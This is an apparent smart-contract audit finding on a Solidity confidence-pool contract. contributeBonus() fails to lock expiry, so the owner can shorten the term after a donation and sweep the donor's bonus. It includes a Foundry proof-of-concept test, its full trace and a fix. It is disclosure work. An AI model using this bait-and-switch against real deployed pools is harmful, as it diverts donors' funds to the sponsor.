FoundrySolidityLayer 2
7.25 ETH
Submission Details
Impact: medium
Likelihood: high

`contributeBonus` never locks `expiry`, letting the sponsor bait-and-switch a long-advertised pool term to sweep a donor's bonus contribution

Author Revealed upon completion

Description

  • stake() sets a one-way expiryLocked latch on the first deposit specifically so the sponsor can no longer move expiry once stakers have committed capital against a specific deadline — this is the documented protection for staker reliance.

  • contributeBonus() is the sibling deposit path but never sets expiryLocked. So a sponsor can advertise a pool with a long, attractive term, collect a bonus donation meant to reward future stakers' confidence over that term, then shorten expiry down to the 30-day minimum immediately afterward — as long as no staker has shown up yet. With zero stakers, sweepUnclaimedBonus() always reserves 0 for the bonus (regardless of registry state or risk window), so the entire donated bonus sweeps to recoveryAddress, sponsor-controlled, once the shortened term mechanically resolves.

function stake(uint256 amount) external nonReentrant whenPoolNotPaused {
...
if (!expiryLocked) {
expiryLocked = true; //@> sibling deposit path DOES lock expiry — contrast with contributeBonus() below
}
...
}
function contributeBonus(uint256 amount) external nonReentrant whenPoolNotPaused {
if (amount == 0) revert InvalidAmount();
if (outcome != PoolStates.Outcome.UNRESOLVED) revert OutcomeAlreadySet();
if (block.timestamp >= expiry) revert StakingClosed();
_assertDepositsAllowed(_observePoolState());
...
totalBonus += received; //@> no expiryLocked = true afterward — expiry stays owner-mutable even after a real, non-refundable donation lands
emit BonusContributed(msg.sender, received);
}
function setExpiry(uint256 newExpiry) external onlyOwner {
if (expiryLocked) revert ExpiryLocked(); //@> still false after contributeBonus-only activity
if (newExpiry < block.timestamp + _MIN_EXPIRY_LEAD) revert ExpiryTooSoon();
...
expiry = uint32(newExpiry);
emit ExpiryUpdated(oldExpiry, newExpiry);
}
function sweepUnclaimedBonus() external nonReentrant {
if (outcome != PoolStates.Outcome.SURVIVED && outcome != PoolStates.Outcome.EXPIRED) {
revert OutcomeNotEligibleForSweep();
}
uint256 reserved;
if (totalEligibleStake != 0) { ... } //@> skipped entirely when there are zero stakers
uint256 freeBalance = stakeToken.balanceOf(address(this));
uint256 amount = freeBalance > reserved ? freeBalance - reserved : 0;
...
stakeToken.safeTransfer(recoveryAddress, amount); //@> sweeps the full untouched bonus
}

Risk

Likelihood:

  • Bonus contribution is explicitly permissionless and designed for third parties to fund independently of staking, so a pool with a real bonus balance and zero stakers is an ordinary, reachable state, not a contrived edge case — any pool between creation and its first stake sits in exactly this window.

  • The sponsor already holds unrestricted onlyOwner access to setExpiry for the entire pre-stake period, and nothing distinguishes "no bonus yet" from "bonus just landed" in that gate, so a sponsor watching for BonusContributed events can trigger the shortened setExpiry call in the very next transaction after a donation arrives, before any staker has a chance to commit.

Impact:

  • A donor who funds a pool's bonus under the belief it will incentivize stakers over the advertised (long) term has their entire non-refundable contribution redirected to the sponsor's recoveryAddress once the sponsor-shortened term elapses with no stakers ever present — confirmed at 100% of the donated amount in the PoC (1000e18 of 1000e18 swept).

  • The mechanism requires no registry manipulation and no interaction with any other known vulnerability — it is reachable through contributeBonus + setExpiry + claimExpired + sweepUnclaimedBonus alone, all called by parties already holding their documented roles (donor, sponsor).

Proof of Concept

// SPDX-License-Identifier: MIT
pragma solidity 0.8.26;
import {PoolStates} from "src/libraries/PoolStates.sol";
import {BaseConfidencePoolTest} from "test/helpers/BaseConfidencePoolTest.sol";
contract PoC_ContributeBonusExpiryBaitSwitchTest is BaseConfidencePoolTest {
function testPoC_SponsorShortensExpiryAfterBonusDonationAndSweepsIt() external {
uint256 bonusAmt = 1_000e18;
// Sponsor advertises a long-term pool — 1 year out — specifically to look attractive to
// a donor funding future stakers' confidence rewards over that term.
pool.setExpiry(block.timestamp + 365 days);
assertFalse(pool.expiryLocked(), "no stake yet -> expiry still unlocked");
// A well-meaning third party funds the bonus pool, trusting the advertised 1-year term.
_contributeBonus(bob, bonusAmt);
assertEq(pool.totalBonus(), bonusAmt);
pool.setExpiry(block.timestamp + 31 days); //@> expiryLocked is STILL false — sponsor bait-and-switches the term right after the donation lands
assertEq(pool.expiry(), block.timestamp + 31 days, "sponsor freely shortened the term post-donation");
// No staker ever shows up before the new, shortened expiry.
vm.warp(pool.expiry());
pool.claimExpired();
assertEq(uint8(pool.outcome()), uint8(PoolStates.Outcome.EXPIRED));
pool.sweepUnclaimedBonus(); //@> reserved is 0 whenever totalEligibleStake == 0 — sweeps the donor's entire contribution
assertEq(token.balanceOf(recovery), bonusAmt, "the donor's entire contribution went to the sponsor"); //@> proof: 100% of the donated bonus diverted to the sponsor
}
}

Run: forge test --match-path "test/ContributeBonusExpiryBaitSwitch.t.sol" -vvvvPASS (gas: 265542)

No files changed, compilation skipped
Ran 1 test for test/ContributeBonusExpiryBaitSwitch.t.sol:PoC_ContributeBonusExpiryBaitSwitchTest
[PASS] testPoC_SponsorShortensExpiryAfterBonusDonationAndSweepsIt() (gas: 265542)
Traces:
[337193] PoC_ContributeBonusExpiryBaitSwitchTest::testPoC_SponsorShortensExpiryAfterBonusDonationAndSweepsIt()
├─ [0] VM::prank(PoC_ContributeBonusExpiryBaitSwitchTest: [0x7FA9385bE102ac3EAc297483Dd6233D62b3e1496])
│ └─ ← [Return]
├─ [13503] 0xa0Cb889707d426A7A386870A03bc70d1b0697598::setExpiry(1781536000 [1.781e9])
│ ├─ [10834] ConfidencePool::setExpiry(1781536000 [1.781e9]) [delegatecall]
│ │ ├─ emit ExpiryUpdated(oldExpiry: 1752678400 [1.752e9], newExpiry: 1781536000 [1.781e9])
│ │ └─ ← [Stop]
│ └─ ← [Return]
├─ [828] 0xa0Cb889707d426A7A386870A03bc70d1b0697598::expiryLocked() [staticcall]
│ ├─ [662] ConfidencePool::expiryLocked() [delegatecall]
│ │ └─ ← [Return] false
│ └─ ← [Return] false
├─ [46465] MockERC20::mint(bob: [0x1D96F2f6BeF1202E4Ce1Ff6Dad0c2CB002861d3e], 1000000000000000000000 [1e21])
│ ├─ emit Transfer(from: 0x0000000000000000000000000000000000000000, to: bob: [0x1D96F2f6BeF1202E4Ce1Ff6Dad0c2CB002861d3e], value: 1000000000000000000000 [1e21])
│ └─ ← [Stop]
├─ [0] VM::startPrank(bob: [0x1D96F2f6BeF1202E4Ce1Ff6Dad0c2CB002861d3e])
│ └─ ← [Return]
├─ [24325] MockERC20::approve(0xa0Cb889707d426A7A386870A03bc70d1b0697598, 1000000000000000000000 [1e21])
│ ├─ emit Approval(owner: bob: [0x1D96F2f6BeF1202E4Ce1Ff6Dad0c2CB002861d3e], spender: 0xa0Cb889707d426A7A386870A03bc70d1b0697598, value: 1000000000000000000000 [1e21])
│ └─ ← [Return] true
├─ [97437] 0xa0Cb889707d426A7A386870A03bc70d1b0697598::contributeBonus(1000000000000000000000 [1e21])
│ ├─ [97268] ConfidencePool::contributeBonus(1000000000000000000000 [1e21]) [delegatecall]
│ │ ├─ [2323] MockSafeHarborRegistry::getAttackRegistry() [staticcall]
│ │ │ └─ ← [Return] MockAttackRegistry: [0x2e234DAe75C793f67A35089C9d99245E1C58470b]
│ │ ├─ [2374] MockAttackRegistry::getAgreementState(MockAgreement: [0x5991A2dF15A8F6A256D3Ec51E99254Cd3fb576A9]) [staticcall]
│ │ │ └─ ← [Return] 1
│ │ ├─ [2537] MockERC20::balanceOf(0xa0Cb889707d426A7A386870A03bc70d1b0697598) [staticcall]
│ │ │ └─ ← [Return] 0
│ │ ├─ [23423] MockERC20::transferFrom(bob: [0x1D96F2f6BeF1202E4Ce1Ff6Dad0c2CB002861d3e], 0xa0Cb889707d426A7A386870A03bc70d1b0697598, 1000000000000000000000 [1e21])
│ │ │ ├─ emit Transfer(from: bob: [0x1D96F2f6BeF1202E4Ce1Ff6Dad0c2CB002861d3e], to: 0xa0Cb889707d426A7A386870A03bc70d1b0697598, value: 1000000000000000000000 [1e21])
│ │ │ └─ ← [Return] true
│ │ ├─ [537] MockERC20::balanceOf(0xa0Cb889707d426A7A386870A03bc70d1b0697598) [staticcall]
│ │ │ └─ ← [Return] 1000000000000000000000 [1e21]
│ │ ├─ emit BonusContributed(contributor: bob: [0x1D96F2f6BeF1202E4Ce1Ff6Dad0c2CB002861d3e], amount: 1000000000000000000000 [1e21])
│ │ └─ ← [Stop]
│ └─ ← [Return]
├─ [0] VM::stopPrank()
│ └─ ← [Return]
├─ [1382] 0xa0Cb889707d426A7A386870A03bc70d1b0697598::totalBonus() [staticcall]
│ ├─ [1216] ConfidencePool::totalBonus() [delegatecall]
│ │ └─ ← [Return] 1000000000000000000000 [1e21]
│ └─ ← [Return] 1000000000000000000000 [1e21]
├─ [2203] 0xa0Cb889707d426A7A386870A03bc70d1b0697598::setExpiry(1752678400 [1.752e9])
│ ├─ [2034] ConfidencePool::setExpiry(1752678400 [1.752e9]) [delegatecall]
│ │ ├─ emit ExpiryUpdated(oldExpiry: 1781536000 [1.781e9], newExpiry: 1752678400 [1.752e9])
│ │ └─ ← [Stop]
│ └─ ← [Return]
├─ [1608] 0xa0Cb889707d426A7A386870A03bc70d1b0697598::expiry() [staticcall]
│ ├─ [1442] ConfidencePool::expiry() [delegatecall]
│ │ └─ ← [Return] 1752678400 [1.752e9]
│ └─ ← [Return] 1752678400 [1.752e9]
├─ [1608] 0xa0Cb889707d426A7A386870A03bc70d1b0697598::expiry() [staticcall]
│ ├─ [1442] ConfidencePool::expiry() [delegatecall]
│ │ └─ ← [Return] 1752678400 [1.752e9]
│ └─ ← [Return] 1752678400 [1.752e9]
├─ [0] VM::warp(1752678400 [1.752e9])
│ └─ ← [Return]
├─ [88998] 0xa0Cb889707d426A7A386870A03bc70d1b0697598::claimExpired()
│ ├─ [88835] ConfidencePool::claimExpired() [delegatecall]
│ │ ├─ [323] MockSafeHarborRegistry::getAttackRegistry() [staticcall]
│ │ │ └─ ← [Return] MockAttackRegistry: [0x2e234DAe75C793f67A35089C9d99245E1C58470b]
│ │ ├─ [374] MockAttackRegistry::getAgreementState(MockAgreement: [0x5991A2dF15A8F6A256D3Ec51E99254Cd3fb576A9]) [staticcall]
│ │ │ └─ ← [Return] 1
│ │ ├─ emit OutcomeFlagged(moderator: 0x0000000000000000000000000000000000000000, outcome: 3, goodFaith: false, attacker: 0x0000000000000000000000000000000000000000)
│ │ └─ ← [Stop]
│ └─ ← [Return]
├─ [632] 0xa0Cb889707d426A7A386870A03bc70d1b0697598::outcome() [staticcall]
│ ├─ [466] ConfidencePool::outcome() [delegatecall]
│ │ └─ ← [Return] 3
│ └─ ← [Return] 3
├─ [31808] 0xa0Cb889707d426A7A386870A03bc70d1b0697598::sweepUnclaimedBonus()
│ ├─ [31645] ConfidencePool::sweepUnclaimedBonus() [delegatecall]
│ │ ├─ [537] MockERC20::balanceOf(0xa0Cb889707d426A7A386870A03bc70d1b0697598) [staticcall]
│ │ │ └─ ← [Return] 1000000000000000000000 [1e21]
│ │ ├─ [24830] MockERC20::transfer(recovery: [0x73030B99950fB19C6A813465E58A0BcA5487FBEa], 1000000000000000000000 [1e21])
│ │ │ ├─ emit Transfer(from: 0xa0Cb889707d426A7A386870A03bc70d1b0697598, to: recovery: [0x73030B99950fB19C6A813465E58A0BcA5487FBEa], value: 1000000000000000000000 [1e21]) // <-- the donor's entire non-refundable contribution swept to the sponsor after the bait-and-switch
│ │ │ └─ ← [Return] true
│ │ ├─ emit BonusSwept(caller: PoC_ContributeBonusExpiryBaitSwitchTest: [0x7FA9385bE102ac3EAc297483Dd6233D62b3e1496], recoveryAddress: recovery: [0x73030B99950fB19C6A813465E58A0BcA5487FBEa], amount: 1000000000000000000000 [1e21])
│ │ └─ ← [Stop]
│ └─ ← [Return]
├─ [537] MockERC20::balanceOf(recovery: [0x73030B99950fB19C6A813465E58A0BcA5487FBEa]) [staticcall]
│ └─ ← [Return] 1000000000000000000000 [1e21]
└─ ← [Return]
Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 1.39ms (258.83µs CPU time)
Ran 1 test suite in 9.80ms (1.39ms CPU time): 1 tests passed, 0 failed, 0 skipped (1 total tests)

Recommended Mitigation

function contributeBonus(uint256 amount) external nonReentrant whenPoolNotPaused {
if (amount == 0) revert InvalidAmount();
if (outcome != PoolStates.Outcome.UNRESOLVED) revert OutcomeAlreadySet();
if (block.timestamp >= expiry) revert StakingClosed();
_assertDepositsAllowed(_observePoolState());
+ if (!expiryLocked) {
+ expiryLocked = true;
+ }
+
uint256 balanceBefore = stakeToken.balanceOf(address(this));
stakeToken.safeTransferFrom(msg.sender, address(this), amount);
uint256 balanceAfter = stakeToken.balanceOf(address(this));
uint256 received = balanceAfter > balanceBefore ? balanceAfter - balanceBefore : 0;
if (received == 0) revert NoTokensReceived();
totalBonus += received;
emit BonusContributed(msg.sender, received);
}

Mirroring stake()'s existing expiryLocked assignment into contributeBonus() closes the sibling gap directly: once any non-refundable capital — stake or bonus — has landed, expiry can no longer be shortened by the owner. This restores the parity the contract's design already intends between the two deposit paths, at zero cost to legitimate pre-deposit flexibility (the owner can still freely adjust expiry before either type of deposit has ever occurred).

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!